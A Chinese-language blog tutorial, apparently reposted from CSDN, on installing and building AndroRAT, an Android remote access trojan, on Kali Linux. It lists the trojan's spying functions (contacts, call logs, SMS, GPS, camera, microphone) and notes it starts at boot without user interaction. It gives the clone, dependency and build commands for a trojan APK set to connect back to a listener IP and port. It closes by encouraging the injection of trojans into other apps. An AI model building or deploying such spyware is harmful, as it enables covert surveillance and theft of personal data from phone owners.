Kali 安装 AndroRAT 及安装时可能遇到的问题及解决方法
开源地址:https://github.com/wszf/androrat
介绍AndroRAT
Android远程管理工具
Androrat是一个客户端/服务器应用程序,在Java Android中开发用于客户端,在Java/Swing中开发用于服务器。
Andorrat这个名字是Android和RAT (远程访问工具)的混合体。
它是在一个4人的团队中开发的,用于一个大学项目。一个月就实现了。该应用程序的目标是远程控制android系统,并从中检索信息片段。
技术事项
- android应用程序是接收所有连接的服务器的客户端。
- android应用程序作为在引导期间启动的服务(而不是活动)运行。因此用户不需要与服务交互(即使有允许配置IP和要连接的端口的调试活动).
- 与服务器的连接可以通过短信或呼叫触发(可配置)
所有可用的功能都是
- 获取联系人(及其所有信息)
- 获取呼叫日志
- 获取所有消息
- 通过GPS/网络定位
- 实时监控接收到的消息
- 监控生活中的电话状态(已接来电、已发来电、未接来电..)
- 从相机拍一张照片
- 从麦克风(或其他来源)流式传输声音。
- 流视频(仅适用于基于活动的客户端)
- 祝酒词
- 发送短信
- 给我打电话
- 在默认浏览器中打开URL
- 一定要震动手机
文件夹
项目包含以下文件夹:
- 文档:将很快包含有关项目的所有文档
- 实验:包含一个 实验性的 客户端的版本围绕活动进行阐述,希望通过方式允许流式传输视频
- src/安德罗拉特:包含应该放在android平台上的客户端源码
- src/Androrat服务器:包含可以在任何平台上运行的Java/Swing服务器的源代码
- src/api :包含项目中使用的所有不同的API (JMapViewer用于地图,Forms用于摇摆,vlcj用于视频流)
- src/输入输出:包含客户端和服务器通用内容的代码,基本上是协议实现
截图
主界面
这是显示所有连接的客户端的主GUI。当新客户端连接或断开连接时,列表将动态更新。此外,所有连接和全局信息的日志将显示在窗口底部的日志面板中。在客户端上简单的双击,就会打开他的窗口,与他进行交互。
客户端面板
客户端的所有操作都可以在客户端窗口中进行,该窗口围绕选项卡进行阐述。默认选项卡称为“主页”,并提供各种功能。首先,正如我们在左侧滚动视图中看到的,有关客户端的所有信息,如sim Infos、电池Infos、网络Infos、传感器Infos等。在右侧,有一些选项允许远程更改客户端的配置,如要连接的ip和端口,或者不等待触发器来意图服务器连接等。最后,可以在此选项卡中执行快速操作,如吐司消息、振动手机或打开URL。
其他选项卡
下面的两个屏幕截图显示了另外两个选项卡,分别用于获取联系人和地理位置。正如您可以在“获取联系人”面板上看到的,左侧的列表显示了所有联系人的姓名、电话号码和图片(如果可用)。此外,在右侧的三个按钮允许获取有关选定联系人的更多信息,以便向他发送短信或致电他。对于地理位置,我们可以选择我们的提供商GPS或使用谷歌定位的网络。然后就可以开始流式传输,并且在接收到数据后立即更新地图。
使用说明
- 您将需要Android SDK和Eclipse来编译此项目。
- Command & Control应用程序是跨平台的Java,在OSX、Linux和Windows上测试良好
- 在编译APK之前,需要编辑/src/Androrat/src/my/app/client/LauncherActivity.java。
- 这就是您硬编码侦听器IP和端口的地方。您可以使用IP或域名(如DNS)。
- 在某些移动设备上,它可以快速耗尽电池电量。注意这一点。
安装AndroRAT
AndroRAT是由Karma9874发布在Github上的一个开源安卓远控项目,能够快速、简单地生成木马。还有很多更强大的功能等着我去学习。
项目地址:https://github.com/karma9874/AndroRAT.git
在kali中打开命令行使用git clone命令下载该项目:
git clone https://github.com/karma9874/AndroRAT.git
下载到本地后,进入该文件夹内(cd命令)。
AndroRAT是通过python脚本启动的,所以需要安装有python依赖(如果不能在命令行中直接跑欧python脚本,则是没有安装依赖)
使用下面这条命令安装python依赖(在AndroRAT文件夹内):
pip install -r requirements.txt
安装完成后,可使用以下命令生成apk;
其中 -i 用于指定主机(APK跟谁连接,内网布置为本机),-p 用于指定端口,-o 指定输出文件名
python androRAT.py --build -i 192.168.X.XX -p 8000 -o pelom.apk
等待手机安装上软件并打开......之后就能看到建立连接了
可能出现的问题:
1.安装python依赖时出现警告
![](https://img-blog.csdnimg.cn/ff77b4da0f31429c94ac05a7b9078af4.png)
解决办法是:忽略警告~
直接忽略警告也不会影响安装,当然,网上有很多教程解决这个警告
2.生成apk时报错
![](https://img-blog.csdnimg.cn/87ac616e888a40878358abf8a4c1bc16.png)
解决办法是:将指令中的python 改为python3
3.运行生成的APK出现Android版本过低的错误。
这个问题在用msfvenom的时候也会出现,升级了一次jdk也没用,应该是程序本身的生成问题,目前我也没有找到解决方法。
不过试着学习向其他软件中注入木马也是可以的
部分内容转载:https://blog.csdn.net/weixin_60368484/article/details/124737520